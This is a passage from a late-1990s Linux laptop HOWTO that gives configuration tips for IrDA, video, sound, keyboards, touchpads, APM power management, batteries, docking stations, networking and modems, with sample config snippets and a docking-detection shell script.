  7. Also Thomas Davis found a package of small DOS utilities made by SMC. Look at http://www.smsc.com/ftppub/chips/appnote/ir_utils.zip . The package contains FINDCHIP.EXE. And includes a FIRSETUP.EXE utility that is supposed to be able to set all values except the chip address. Furthermore it contains BIOSDUMP.EXE, which produces this output:

    Example 1 (from a COMPAQ Armada 1592DT)

         In current devNode:
           Size      = 78
           Handle    = 14
           ID        = 0x1105D041 = 'PNP0511' -- Generic IrDA SIR
           Types:  Base = 0x07, Sub = 0x00,  Interface = 0x02
                Comm. Device, RS-232, 16550-compatible
           Attribute = 0x80
                CAN be disabled
                CAN be configured
                BOTH Static & Dynamic configuration
      Allocated Resource Descriptor Block TAG's:
           TAG=0x47, Length=7 I/O Tag, 16-bit Decode
                                   Min=0x03E8, Max=0x03E8
                                   Align=0x00, Range=0x08
           TAG=0x22, Length=2 IRQ Tag, Mask=0x0010
           TAG=0x79, Length=1 END Tag, Data=0x2F

    Result 1:

    Irq Tag, Mask (bit mapped - ) = 0x0010 = 0000 0000 0000 0001 0000 so, it's IRQ 4. (start at 0, count up ..), so this is a SIR only device, at IRQ=4, IO=x03e8.

    Example 2 (from an unknown machine)

         In current devNode:
          Size      = 529
          Handle    = 14
          ID        = 0x10F0A34D = 'SMCF010' -- SMC IrCC
          Types:  Base = 0x07, Sub = 0x00,  Interface = 0x02
               Comm. Device, RS-232, 16550-compatible
          Attribute = 0x80
               CAN be disabled
               CAN be configured
               BOTH Static & Dynamic configuration

     Allocated Resource Descriptor Block TAG's:
          TAG=0x47, Length=7 I/O Tag, 16-bit Decode
                                  Min=0x02F8, Max=0x02F8
                                  Align=0x00, Range=0x08
          TAG=0x22, Length=2 IRQ Tag, Mask=0x0008
          TAG=0x47, Length=7 I/O Tag, 16-bit Decode
                                  Min=0x02E8, Max=0x02E8
                                  Align=0x00, Range=0x08
          TAG=0x2A, Length=2 DMA Tag, Mask=0x02, Info=0x08
          TAG=0x79, Length=1 END Tag, Data=0x00

    Result 2:

    a) it's a SMC IrCC chip

    b) one portion is at 0x02f8, has an io-extent of 8 bytes; irq = 3

    c) another portion is at 0x02e8, io-extent of 8 bytes; dma = 1 (0x02 =0000 0010)

    Thomas Davis has placed some device information at http://www.jps.net/tadavis/irda/devids.txt .

    WARNING: The package is not intended for the end user, and some of the utilities could be harmful. The only documentation in the package is in M$ Word format. Linux users may read this with catdoc, available at http://www.fe.msk.ru/~vitus/catdoc/ .

  8. Use the Device Manager of Windows9x/NT.
  9. You may also use the hardware surveys mentioned below.
  10. And as a last ressort, you may even open the laptop and look at the writings at the chipsets themselfs.

Hardware Survey

I have made a hardware survey at http:/www.snafu.de/~wehe/ir_misc.html. This list also contains information about infrared capable devices which are not mentioned here (mice, printers, remote control, transceivers, etc.).

To make this list more valuable, it is necessary to collect more information about the infrared devices in different hardware. You can help by sending me a short e-mail containing the exact name of the hardware you have and which type of infrared controller is used.

Please let me know also how well Linux/IrDA worked (at which tty, port and interrupt it works and the corresponding infrared device, e.g. printer, cellular phone).

Also you can help by contributing detailed technological information about some infrared devices, which is necessary for the development of drivers for Linux.

Related HOWTOs

  1. Linux/IR-HOWTO

IrDA Configuration - Survey

IrDA

The Linux infrared support is still experimental, but rapidly improving. I try to describe the installation in a short survey. Please read my Linux/IR-HOWTO for detailed information.

Kernel

  1. Get a 2.2.x kernel.
  2. Compile it with all IrDA options enabled.
  3. Also enable experimental, sysctl, serial and network support.

Software

  1. Get the Linux/IrDA software irda-utils at The Linux IrDA Project .
  2. Untar the package.
  3. Do a make depend; make all; make install

Hardware

  1. Enable the IrDA support in the BIOS.
  2. Check for SIR or FIR support, as described above.
  3. Start the Linux/IrDA service with irmanager -d 1 .
  4. Watch the kernel output with dmesg .

Linux Remote Control - LiRC

Linux Remote Control http://fsinfo.cs.uni-sb.de/~columbus/lirc/ is maintained by Christoph Bartelmus. "Lirc is a package that supports receiving and sending IR signals of the most common IR remote controls. It contains a device driver for hardware connected to the serial port, a daemon that decodes and sends IR signals using this device driver, a mouse daemon that translates IR signals to mouse movements and a couple of user programs that allow to control your computer with a remote control." I don't have valid information about how much infrared remote control is working with laptop infrared devices.

6.3 Graphic Chip

Linux Compatibility Check

Video Mode

The tool SuperProbe is part of XFree86 and is able to check many graphic chips. Please read the documentation carefully, because it might crash your hardware. From man SuperProbe:

"SuperProbe is a a program that will attempt to determine the type of video hardware installed in an EISA/ISA/VLB-bus system by checking for known registers in various combinations at various locations (MicroChannel and PCI machines may not be fully supported; many work with the use of the -no_bios option). This is an error-prone process, especially on Unix (which usually has a lot more esoteric hardware installed than MS-DOS system do), so SuperProbe may likely need help from the user.

...

At this time, SuperProbe can identify MDA, Hercules, CGA, MCGA, EGA, VGA, and an entire horde of SVGA chipsets (see the -info option, below). It can also identify several HiColor/True-color RAMDACs in use on SVGA boards, and the amount of video memory installed (for many chipsets). It can identify 8514/A and some derivatives, but not XGA, or PGC (although the author intends to add those capabilities). Nor can it identify other esoteric video hardware (like Targa, TIGA, or Microfield boards).":

For testing reasons start the X server with X 2> <error.msg>. And try to change the resolution by typing <CTL><ALT><+> or <CTL><ALT><->. Note: the + or - sign have to be taken from the numeric pad, which can be emulated at the letter pad by some laptops.

Text Mode

Just watch the display and determine if it works properly. If not, try to enable different video modes at startup time. Setting up X can sometimes be an exercise in trial and error.

Related HOWTOs

  1. XFree86-HOWTO
  2. XFree86-Video-Timings-HOWTO
  3. XFree86-XInside-HOWTO
  4. X-Big-Cursor-mini-HOWTO (useful when running X on a notebook with low contrast LCD)
  5. Keyboard-and-Console-HOWTO
  6. vesafb-mini-HOWTO

Survey X-Servers

You might discover that some features of your laptop are not supported by XFree86, e.g. high resolutions, accelerated X or an external monitor. Therefore I give a survey of available X servers.

  1. XFree86 http://www.xfree86.org
  2. VESA Frame-Buffer-Device, available with 2.2.x kernels and XFree86 3.3.2
  3. Xinside aka AcceleratedX http://www.xig.com , commercial
  4. SciTech http://www.scitechsoft.com , commercial
  5. Metro-X at http://www.metrolink.com, commercial .

If you can't get an appropriate X server working, but don't want to effort a commercial X server you may try the VGA16 or the mono server included in XFree86.

Resources

You may find a survey about X windows resources at Kenneth E. Harker's page Linux on Laptops and a survey about current graphic chips used in laptops at MobiliX.

External Monitor

There are several different methods to activate support for an external monitor: as a BIOS option or during runtime with a keystroke e.g. <Fn>+<F4>. Maybe you have to edit /etc/XF86Config by configuring int_disp and ext_disp. If you can't get this to work with XFree, try a demo version of the commercial X servers mentioned above. Also check with the RedHat and SuSE WWW sites as they may have new, binary-only, X servers that may work with your laptop.

Miscellaneous

Sometimes you may encounter a display not working properly in text mode. Currently I don't have any recommendations, please see Keyboard-Console-HOWTO.

Take care of the backlight AFAIK this device can only bear a limited number of uptime circles. So avoid using screensavers too much.

For problems with X windows and APM please see the APM chapter.

6.4 Sound

Linux Compatibility Check

The only way I know to check this, is to compile the different sound drivers into the kernel and check whether they are detected or not. The best way to do so, is to compile them as modules because it's easier to load different parameters such as interrupts and IO ports than. For the new 2.2.x kernels, read the /usr/src/linux/Documentation/sound/Introduction document by Wade Hampton. This document may help you get started with sound. Also, you might try one of the commercial sound drivers mentionend below.

Related HOWTOs

  1. Sound-HOWTO
  2. Visual-Bell-mini-HOWTO

Survey Sound Drivers

Many new laptops come with 16-bit sound. But MWave and some other sound technologies won't work or are very hard to get working, e.g. booting to DOS, loading a driver, then using the soundcard as a standard SB-PRO. So you might need a commercial sound driver. With the recent announcement of Linux support by IBM, it would be GREAT if IBM supported the MWave under Linux (hint, hint...). As a last ressort you may try the speaker module pcsnd, which tries to emulate a soundcard.

  1. Kernel Sound Driver by Hannu Savolainen
  2. ALSA Advanced Linux Sound Architecture , commercial or at least non-GPL (since I found a Debian/GNU Linux package I'm not sure anymore, about the commercial status)
  3. OSS UNIX Sound System Lite / OSS, commercial or at least non-GPL (since the 2.2.x kernels I'm not sure about the commercial status), also available from http://www.opensound.com .

6.5 Keyboard

Linux Compatibility Check

Usually there are no problems with Linux and the keyboard. Though there are two minor caveats: First the setleds program might not work. Second the key mapping might not fit your needs. Some Unix users and vi users expect to find the <CONTROL> key to the left of the <A> key. Many PC-type keyboards have the <CAPS-LOCK> key there. You may use xmodmap or loadkeys to re-map the keyboard. Some laptops (e.g., Toshiba) allow you to swap the <CAPS-LOCK> and <CONTROL> keys. Mark Alexander offered this solution in the linux-laptop mailing list: On RedHat, it's a one-line patch to /usr/lib/kbd/keytables/us.map , or whatever file is referenced in /etc/sysconfig/keyboard:

*** us.map~     Tue Oct 31 14:00:07 1995
--- us.map      Thu Aug 28 13:36:03 1997
***************
*** 113,119 ****
  keycode  57 = space            space
        control keycode  57 = nul
        alt     keycode  57 = Meta_space
! keycode  58 = Caps_Lock
  keycode  59 = F1               F11              Console_13
        control keycode  59 = F1
        alt     keycode  59 = Console_1
--- 113,119 ----
  keycode  57 = space            space
        control keycode  57 = nul
        alt     keycode  57 = Meta_space
! keycode  58 = Control
  keycode  59 = F1               F11              Console_13
        control keycode  59 = F1
        alt     keycode  59 = Console_1

External (Second) Keyboard

A second (or external) keyboard can be attached using the PS/2 port (I suppose this is not possible via the serial port, since there is no keyboard controller for the serial port). Also there is one laptop with a detachable keyboard the Siemens Scenic Mobile 800. This machine uses an infrared connection to the keyboard, but I don't know whether this works with Linux. WARNING: Don't plug the external keyboard in while the laptop is booted, or plug the mouse in the keyboard port and the keyboard in the mouse port. On a Toshiba, this caused one user to have to completely shutdown the laptop, remove the keyboard/mouse, and do a cold reboot.

For PS/2 ports there are so called Y-Cable available, which make it possible to use external mouse and external keyboard at the same time if your laptop supports this feature.

Parport to AUX port adapter In some cases one kbd port and one aux port is not enough and you may want to add another keyboard or mouse. You can use this adapter, together with the parkbd.c module for that.

On some laptops a splitter works to allow both mouse and keyboard to be plugged in; on others it doesn't work at all.If you might want to use both you had better check that it works, or you may find yourself waiting anxiously for USB support.

Sun keyboard to PC serial port adapter: Many people have dreamed having their Sun Type 5 keyboard attached to their Linux box up to now. And with this adapter, it is finally possible. Because the standard Sun keyboards use TTL RS232 at 1200 bps to talk to the Suns, it's very easy to make them talk to any non-Sun computer by converting this to true RS232. All what you need is a MAX232 chip that'll take care about the correct voltage levels, and also some chip to invert the signals (CD4049 in the pic, I've used a 7400 quad-nand myself), since the MAX232 inverts them as well, and we don't need this. This all easily fits into a 25-pin serial connector.

6.6 Pointing Devices - Mice and Their Relatives

Linux Compatibility Check

You may check your mouse with the mev command from the GPM package.

Related HOWTOs

  1. 3-Button-Mouse-mini-HOWTO for serial mice
  2. Bus-Mouse-HOWTO
  3. Kernel-HOWTO

Mice Species

  1. Trackpad, Touchpad, used with the majority of current laptops
  2. Trackball, e.g. COMPAQ LTE
  3. Pop-up-Mouse, e.g. HP OmniBook 800
  4. Trackpoint, Mouse-Pin, e.g. IBM ThinkPad and Toshiba
  5. 3 Button Mice, e.g. IBM Thinkpads at least the 600s. I have heard rumor about a 3 button mouse for Texas Instruments Travelmates, but couldn't verify this yet.

PS/2 Mice

Most of the mice used in laptops are PS/2 mice (actually I don't know one with another mouse protocol). You may communicate with the PS/2 mouse through /dev/psaux or /dev/psmouse. If you use X windows this device and the protocol has to be set in /etc/XF86Config, too. In earlier releases, sometimes the GPM mouse manager and X windows had trouble sharing a mouse when enabled at the same time. But AFAIK this is no problem anymore for the latest versions.

Speaking of Emulate3Buttons, 100ms is usually better than the 50ms allowed in most default setups of /etc/X11/XF86Config.

Section "Pointer"
Protocol    "PS/2"
Device      "/dev/psaux"
Emulate3Buttons
Emulate3Timeout    100
EndSection

Touchpad

Usually a touchpad works with the PS/2 mouse driver. A tip: I've heard that tipping with one , two or three fingers on the touchpad simultaneously results in pressing the left, middle and respectively the right mouse-button (by Martin Hoffmann <mh@rrz.uni-hamburg.de> for an IPC-Radiance 900).

There is also a dedicated touchpad driver available. The Synaptics Touchpad Linux Driver supports pointing devices used in notebooks by Acer, Compaq, Dell, Gateway, Olivetti, Texas Instruments, Winbook, and others. Other URL N.N..

The recent gpm package ( gpm >=1.8) includes the above mentioned synaptics touchpad device driver. This device driver has been developed by H. Davies <hdavies@ameritech.net>. Instead of using the PS/2 compatibility mode of touchpad devices, you can now use native touchpad mode with some pretty impressive features.

In addition to translating finger motion into mouse motion and supporting the buttons, this support currently has several features (from the README):

  • a "tap" on the TouchPad causes a left mouse click
  • a "tap" followed quickly by a finger motion causes a left button drag type action.
  • a "tap" in one of the corners causes an action the default configuration is upper right causes middle mouse click and lower right causes right mouse click
  • more pressure on the touch pad speeds the motion of the cursor
  • a "tap" with a motion component (default > 2mm) initiates a toss and catch sequence. This is terminated by a finger touch on the pad (the toss also ends after 1 sec since that is the idle timeout period for the touchpad).
  • if the finger moves close to an edge then the mouse motion will be continued in that direction so that you don't need to pick up your finger and start moving again. This continued motion is pressure sensitive (more pressure is faster motion).

These features can be enabled/disabled and many of them have time and speed parameters which can be adjusted to the taste of the user.

It seems gpm is best known as a console biased tool. This is true, but you may use it as an X input device. gpm is used as a repeater device. In this way you can use both the built-in synaptics touchpad with all the features and at the same time a serial mouse (with three buttons). This all works smoothly together. X reads the mouse events from a named pipe /dev/gpmdata in a protocol it understands, which in my case is Mouse-Systems-Compatible (5bytes). Most 3-button mice use the default protocol. So a simple reconfiguration in XF86Config is all that is required, after starting gpm in an appropriate way, of course.

gpm could be started on your laptop with the following arguments : /usr/bin/gpm -t synps2 -M -t ms -m /dev/ttyS0 . Both touchpad and serial mouse work in console and X mode. You do have to create the named pipe /dev/gpmdata yourself.

Tapping with two fingers simultaneously to simulate a middle mouse button works on Logitech touchpads used in a few machines.

Thanks to Geert Van der Plas for most of the touchpad chapter.

Touchscreen

The only laptop I know which includes a touchscreen is the Fujitsu Biblo 112. It may work in PS/2 or serial mouse compatibility mode. But I couldn't check this yet.

COMPAQ Concerto Pen

The latest version of the Linux Compaq Concerto Pen Driver is available from Joe Pfeiffer's home page.

External Mouse

For better handling, e.g. with a 3 button mouse you may use an external mouse. This usually a serial mouse or a PS/2 mouse, according to the port your laptop offers. Usually this is no problem.

For PS/2 ports there are so called Y-Cable available, which make it possible to use external mouse and external keyboard at the same time if your laptop supports this feature.

WARNING: Don't plug in the external mouse while powered up. If you have separate mouse and keyboard ports, make sure you plug the mouse in the mouse port and the keyboard in the keyboard port. If you don't, you may have to do a hard reboot of the laptop to get it to recover.

6.7 Advanced Power Management - APM

Linux Compatibility Check

From the Battery-Powered-mini-HOWTO " .. for APM to work on any notebook or energy-conscious desktop, the system BIOS ROM in the machine must support the APM Specification standard. Furthermore, for APM to work with the Linux operating system, the system BIOS ROM must support either the 1.0 or 1.1 version of the APM standard, and it must also support 32-bit protected mode connections. A system that supports APM 1.1 is preferred, as it provides more features that the device driver and supporting utilities can take advantage of."

You may get information about the APM version with the dmesg command and in the /proc/apm file.

Introduction

Features of APM according to Documentation/Configure.help: "The system time will be reset after a USER RESUME operation, the /proc/apm device will provide battery status information, and user-space programs will receive notification of APM events (e.g., battery status change). "

APM support consists of two parts: kernel support and user-land support.

Kernel Land

For kernel support, enable the parameters in the corresponding kernel section. Some features need special tweaking with certain machines (e.g. IBM ThinkPad) or even don't work, ("TI 4000M TravelMate and the ACER 486/DX4/75 because they don't have compliant BIOSes"). Currently all distributions I know don't provide a kernel with APM support enabled. So you usually have to compile your custom kernel. Please see Kernel-HOWTO or distribution manual for details. The available APM options are (please see Documentation/Configure.help in the kernel source tree for more details):

  • CONFIG_APM_IGNORE_USER_SUSPEND Just a workaround for some NEC Versa M series laptops.
  • CONFIG_APM_DO_ENABLE Enable APM features at boot time.
  • CONFIG_APM_CPU_IDLE. Puts CPU in power save mode, if there is nothing to do for the kernel.
  • CONFIG_APM_DISPLAY_BLANK Some laptops can use this to turn off the LCD backlight when the screen blanker of the Linux virtual console blanks the screen. Note that this is only used by the virtual console screen blanker, and won't turn off the backlight when using the X Window system.
  • CONFIG_APM_POWER_OFF Turns the machine completely down, when using halt. This feature works with most laptops without problems.
  • CONFIG_APM_IGNORE_MULTIPLE_SUSPEND Just a workaround for IBM ThinkPad 560.
  • CONFIG_APM_IGNORE_SUSPEND_BOUNCE Just a workaround for Dell Inspiron 3200 and other notebooks.
  • CONFIG_APM_RTC_IS_GMT Stores time in Greenwich Mean Time format. It is in fact recommended to store GMT in your real time clock (RTC) in the BIOS.
  • CONFIG_APM_ALLOW_INTS Resolves some problems with Suspend to Disk for some laptops, for instance many newer IBM ThinkPads.

Joey Hess <joey@kitenet.net> wrote at debian-laptop@lists.debian.org "I just installed kernel 2.2.12 on my laptop, and was having some trouble getting apm working. it said apm disabled on user request at boot time. Well, some grepping the kernel sources found that passing apm=on to the kernel at boot time enables it now. I can't find any record or docs of this change.

User Land

The utilities for userland support may be found at http://worldvisions.ca/~apenwarr/apmd/. APMD is a set of programs that control the Advanced Power Management system found in most modern laptop computers. If you run a 2.2.x kernel and want to experiment, Gabor Kuti <seasons@falcon.sch.bme.hu> has made a kernel patch that allows you to hibernate any Linux system to disk, even if your computers APM BIOS doesn't support it directly. IMHO you don't need this features if your laptop provides a function key to invoke suspend mode directly.

When you first install Linux, you will probably have to recompile the kernel. The kernel that came with your distribution probably does not have APM enabled.

Please see the Battery Powered Linux Mini-HOWTO by <kontakt@hanno.de> Hanno Mueller and the page of Kenneth E. Harker for detailed information.

README apmd?:On laptop computers, the APM support provides access to battery status information and may help you to conserve battery power, depending on your laptop and the APM implementation.

Rik Faith <faith@acm.org> has transferred maintenance of the Linux apmd package over to me, Avery Pennarun <apenwarr@worldvisions.ca> and I'm finally getting around to making a release with the many updates we've collected since the last release back in 1996.

Here's what apmd can do:

  • apmd(8): logs the battery status to syslog every now and then and handles background power management tasks;
  • apm(1): a command-line tool to print the current battery status or suspend the computer;
  • xapm(1x): provides a battery meter for X;
  • libapm.a: a library for writing similar APM applications.

Richard Gooch wrote: I'have had a look at the beta version of apmd, and I still don't like it, because:

  • Only supports one command to run at suspend time.
  • Doesn't distinguish between user and system suspends.
  • doesn't provide a way to disable policy (the sync(); sleep(0) ; sync(); sleep(1); sequence)
  • Does not document extra features.
  • And I'm not sure that what we want is a single super daemon. A collection of smaller daemons might be better, since it allows people to pick and choose. A super daemon is bloat for those who only want one small feature.

Though this topic was discussed controversly Richard Gooch has put together a package suspendd at http://www.atnf.csiro.au/~rgooch/linux/ .

Also, have a look at apmcd (apm based crontab) at ftp://ftp.binary9.net/pub/linux/ . A tool made by Nicolas J. Leon <nicholas@binary9.net> http://mrnick.binary9.net/.

Note: I didn't check wether this features are merged into one package (apmd eventually) already.

Caveats

If you have another operating system preinstalled or use another operating system at the same disk, make sure there is no "hibernation" or "suspend" tool installed, which could severely interfere with Linux, e.g. it might use disk space which is occupied by Linux or vice versa.

Troubleshooting

If your machine worked with 2.0.x kernels but not with the 2.2.x series, take this advice from Klaus Franken kfr@klaus.franken.de : "The default changed in 2.2. Search in the init-scripts for halt and change it to halt -p or poweroff. See man halt , if you don't have this option you need a newer version of halt." You may find it in the SysVinit package.

On some new machines (for instance HP Omnibook 4150 - 366 MHz model) when accessing /proc/apm, you may get a kernel fault general protection fault: f000. Stephen Rothwell <Stephen.Rothwell@canb.auug.org.au> http://www.canb.auug.org.au/~sfr/ explaines: "This is your APM BIOS attempting to use a real mode segment while in protected mode, i.e. it is a bug in your BIOS. .. We have seen a few of these recently, except all the others are in the power off code in the BIOS wher we can work around it by returning to real mode before attempting to power off. Here we cannot do this."

apmd-rhcn-2.4phil-1 by RedHat ftp://rhcn.redhat.com/pub/rhcn/ contains an unofficial patch for shutting down the PCMCIA sockets before a suspend and patches for multiple batteries.

According to Documentation/Configure.help: "Some other things you should try when experiencing seemingly random, weird problems:

  1. make sure that you have enough swap space and that it is enabled.
  2. pass the no-hlt option to the kernel.
  3. switch on floating point emulation in the kernel and pass the no387 option to the kernel.
  4. pass the floppy=nodma option to the kernel.
  5. pass the mem=4M option to the kernel (thereby disabling all but the first 4 MB of RAM).
  6. make sure that the CPU is not over clocked.
  7. read the sig11 FAQ at http://www.bitwizard.nl/sig11/ .
  8. disable the cache from your BIOS settings.
  9. install a fan for the video card or exchange video RAM.
  10. install a better fan for the CPU.
  11. exchange RAM chips.
  12. exchange the motherboard.

APM and PCMCIA

PCMCIA Card Services and Advanced Power Management (from the PCMCIA-HOWTO):

"Card Services can be compiled with support for APM (Advanced Power Management) if you've configured your kernel with APM support. ... The PCMCIA modules will automatically be configured for APM if a compatible version is detected on your system. Whether or not APM is configured, you can use cardctl suspend before suspending your laptop, and cardctl resume after resuming, to cleanly shut down and restart your PCMCIA cards. This will not work with a modem that is in use, because the serial driver isn't able to save and restore the modem operating parameters. APM seems to be unstable on some systems. If you experience trouble with APM and PCMCIA on your system, try to narrow down the problem to one package or the other before reporting a bug. Some drivers, notably the PCMCIA SCSI drivers, cannot recover from a suspend/resume cycle. When using a PCMCIA SCSI card, always use cardctl eject prior to suspending the system.".

APM and Resuming X Windows

"Many (most?) BIOSes fail to save and restore display controller chip registers, and X has no protocol to be notified of resume events, so on many systems suspend/resume is more-or-less incompatible with X." Linux Laptops has created a fix for this problem.

Sometimes X windows and APM don't work smoothly together, the machine might even hang. A recommendation from Steve Rader: Some linux systems have their X server hang when doing apm -s. Folks with this affliction might want switch to the console virtual terminal then suspend chvt 1; apm -s as root, or, more appropiately.sudo chvt 1; sudo apm -s. I have these commands in a script, say, my-suspend and then do xapmload --click-command my-suspend .

Modularization of APM

As far as I remember this is controversly discussed, but I don't remember the URL. It isn't a kernel feature yet.

APM Resume Options

The new 3.0beta versions add a new feature to apmd: it can run arbitrary commands (like cardctl suspend) when you suspend or resume your system. It also supports BIOS clocks that are set to UTC time.

APM and Sound

Lots of BIOSes fail to restore sound chip registers, so you may get a squeal of feedback when you wake up the machine. A script in /etc/apm/event.d can use aumix to save and restore sound mixer settings.

Software Suspend

Software suspend enables the possibilty of suspendig machine. It doesn't need APM. You may suspend your machine by either pressing Sysrq-d or with 'swsusp' or 'shutdown -z (patch for sysvinit needed). It creates an image which is saved in your active swaps. By the next booting the kernel detects the saved image, restores the memory from it and then it continues to run as before you've suspended. If you don't want the previous state to continue use the 'noresume' kernel option.

6.8 ACPI

ACPI stands for Advanced Configuration and Power Interface. This is a specification by Toshiba, Intel and Microsoft. Besides many other things it also defines power management. This is why it is often compared to APM.

The ACPI4Linux project has started at the beginning of 1999. The ACPI4Linux project is a kernel driver project aimed at implementing full ACPI support for Linux, including fan control, dock/undock detection and a WindowMaker dockable temperature meter. You may reach it at ACPI4Linux.

6.9 Batteries

For information about available battery types, take a look at the Hardware Features chapter above.

Please see Battery Powered Linux Mini-HOWTO by Hanno Mueller <kontakt@hanno.de> http://www.hanno.de Power Supplies for Laptops - (Draft) for further information.

Stephen Rothwell http://www.canb.auug.org.au/~sfr/ is currently integrating a patch that will add multiple battery support to the kernel APM.

From the mobile-update page (modified by WH): Discharge the battery. If your battery runs only for about 20 minutes, you probably suffer from memory effects. Most laptops do not discharge the battery properly. With low powered devices like old computer fans they can be discharged completely. This removes memory effects. You should do so even with LiIon batteries, though they don't suffer much from memory effext (the manual of an IBM Thinkpad says to cycle the batteries through a full charge/discharge cycle 3 times every few months or so).

WARNING: Try this at your own risk! Make sure the voltage of the fans is compatible to your battery. It works for me.

In the US, this company has most batteries for anything and can rebuild many that are no longer manufactured: Batteries Plus, 2045 Pleasant Hill Road, Duluth, GA 30096 +1 770 495 1644.

6.10 Memory

Unfortenately most laptops come with a proprietary memory chips. So they are not interchangeable between different models. But this seems changing.

6.11 Plug-and-Play Devices (PnP)

The Plug and Play driver project for Linux is a project to create support within the Linux kernel (see Linux.Org for more information) for handling Plug and Play (and other semi-PnP) devices in a clean, consistent way. It aims to allow a driver of any type of hardware to have this hardware configured by the PnP driver in the kernel. This driver is then notified when the device is reconfigured, or even removed from the system, so as to allow for graceful action in these circumstances http://www.io.com/~cdb/mirrors/lpsg/pnp-linux.html .

ISA PnP tools is another useful package.

And there is a project at RedHat http://www.redhat.com/pnp/overview.html .

The latest PCMCIA driver package (>>3.1.0) has utilities lspnp and setpnp to manipulate PNP settings. Note that in 3.1.0 you may need this patch to compile them:

-#ifdef __GLIBC__
+#if 0 /* def __GLIBC__ */
 #include <byteswap.h>
 #else

6.12 Docking Station / Port Replicator

Definitions

First some definitions. There is a difference between docking station and port replicator.

I use the term docking station for a box which contains slots to put some interface cards in, and space to put a harddisk, etc. in. This box can be permanently connected to a PC. A port replicator is just a copy of the laptop ports which may be connected permanently to a PC.

Other Solutions

I don't use a docking station. They seem really expensive and I can't see any usefulness. OK you have to mess up with some more cables, but is it worth so much money? Docking stations are useful in an office environment when you have a permanent network connection, or need the docking station's SCSI adaptor (e.g., for a CD-R).

Also all docking stations I know are proprietary models, so if you change your laptop you have to change this device, too. I just found one exception a docking station which connects to your laptop via IrDA the IRDocking IR-660 by Tekram http://www.tekram.com/Hot_Products.asp?Product=IR-660 . It supports these connectors: 10Base-T (RJ-45); PS/2 Keyboard; PS/2 Mouse; 25-Pin Printer Port (LPT); IR Transceiver; Power (6 VDC). So it seems that a VGA port and a port to connect a desktop PC directly are missing. This device should work with Linux/IrDA, though I couldn't check it out.

I would prefer to buy a PC instead and connect it via network to the laptop.

Or use an external display, which usually works well as described above, and an external keyboard and mouse. If your laptop supports an extra PS/2 port you may use a cheap solution a Y cable, which connects the PS/2 port to an external keyboard and an external monitor. Note: Your laptop probably has support for the Y cable feature, e.g. the COMPAQ Armada 1592DT.

Connection Methods

AFAIK there are three solutions to connect a laptop to a docking station:

  1. SCSI port
  2. parallel port
  3. (proprietary) docking port

From Martin J. Evans martin@mjedev.demon.co.uk "The main problem with docking stations is getting the operating system to detect you are docked. Fortunately, if you configure your kernel with the /proc file system (does anyone not do this?) you can examine the devices available and thus detect a docked state. With this in mind a few simple scripts is all you need to get your machine configured correctly in a docked state.

You may want to build support for the docking station hardware as modules instead of putting it directly into the kernel. This will save space in your kernel but your choice probably largely depends on how often you are docked.

1) Supporting additional disks on the docking station SCSI card

To my mind the best way of doing this is to:

  1. Either build support for the SCSI card into the kernel or build it as a module.
  2. Put the mount points into /etc/fstab but use the "noauto" flag to prevent them from being mounted automatically with the mount -a flag. In this way, when you are docked you can explicitly mount the partitions off any disk connected to the docking station SCSI card.

2) Supporting additional network adaptors in the docking station

You can use a similar method to that outlined above for the graphics card. Check the /proc filesystem in your rc scripts to see if you are docked and then set up your network connections appropriately. "

Once you determine this information, you may use a script, similar to the following example, to configure the connection to your docking station at startup. The script is provided by Friedhelm Kueck:

# check, if Laptop is in docking-station (4 PCMCIA slots available)
# or if it is standalone (2 slots available)
# Start after cardmgr has started
#
# Friedhelm Kueck mailto:fk@impress.de
# 08-Sep-1998
#
# Find No. of Sockets
SOCKETS=`tail -1 /var/run/stab | cut -d ":" -f 1`

case "$SOCKETS" in

"Socket 3")
echo Laptop is in Dockingstation ...
echo Disabeling internal LCD Display for X11
echo
cp /etc/XF86Config_extern /etc/XF86Config
#
# Setup of PCMCIA Network Interface after start of cardmge
#
echo
echo "Setting up eth0 for use at Network ..."
echo
/sbin/ifconfig eth0 10.1.9.5 netmask 255.255.0.0 broadcast 10.1.255.255
/sbin/route add -net 10.1.0.0 gw 10.1.9.5
/sbin/route add default gw 10.1.10.1
;;

"Socket 1")
echo Laptop is standalone
echo Disabling external Monitor for X11
cp /etc/XF86Config_intern /etc/XF86Config
echo
echo Network device NOT setup
;;
esac

6.13 Network Connections

Related HOWTOs

  1. PLIP-mini-HOWTO
  2. NET-3-HOWTO
  3. Ethernet-HOWTO
  4. Term-Firewall-mini-HOWTO

Connection Methods

PCMCIA Network Card

If your laptop supports PCMCIA this is the easiest and fastest way to get network support. Make sure your card is supported before buying one.

Serial Null Modem Cable

Probably the cheapest way to connect your laptop to another computer, but quite slow. You may use PPP or SLIP to start the connection.

Parallel Port NIC (Pocket Adaptor)

Accton Pocket Ethernet and Linux This ethernet adaptor uses a parallel port and delivers approximately 110k Bytes/s throughput for those notebooks that do not have PCMCIA slots.

Linux and Linksys Ethernet Adaptors A short note on the use of the Linksys parallel-port ethernet adaptor under Linux. This is a widely available networking adaptor that doesn't require a PCMCIA slot.

Parallel "Null" Modem Cable

Offers more speed than a serial connection. Some laptops use chipsets that will not work with PLIP. Please see PLIP-HOWTO for details.

Docking Station NIC

I don't have experience with a NIC in a docking station yet.

6.14 Modem

Modem Types

There are three kinds of modems available: internal, PCMCIA card or external serial port modems. But some internal modems will NOT work with Linux such as the MWave modems (IBM) or if the laptop has a WinModem. This is caused by non-standard hardware. So you have to use either a PCMCIA card modem or an external modem.

Quotation from the Kernel-FAQ: "9.Why aren't WinModems supported? (REG, quoting Edward S. Marshall) The problem is the lack of specifications for this hardware. Most companies producing so-called WinModems refuse to provide specifications which would allow non-Microsoft operating systems to use them. The basic issue is that they don't work like a traditional modem; they don't have a DSP, and make the CPU do all the work. Hence, you can't talk to them like a traditional modem, and you -need- to run the modem driver as a realtime task, or you'll have serious data loss issues under any kind of load. They're simply a poor design."

"Win modems are lobotomized modems which expect Windows to do some of their thinking for them. If you do not have Windows, you do not have a connection. "

Anyway, I have set up a page collecting information on laptops with internal modems at http://mobilix.org/ . Maybe it's possible to run such modems with MS-Windows9x/NT emulators like wine or VMware, but I don't know it.

Recently there is a driver for Lucent WinModems (alpha) available at SuSE - Labs and LTModem diagnostic tool.

Caveats

WARNING: Pay attention to the different kinds of phone lines: analog and ISDN. You can't connect an analog modem to an ISDN port and vice versa. Though there might be hybrid modems available. Connecting to the wrong port may even destroy your modem. Trick: If you are looking for an analog phone port in an office building which is usually wired with ISDN, take a look at the fax lines, they are often analog lines.

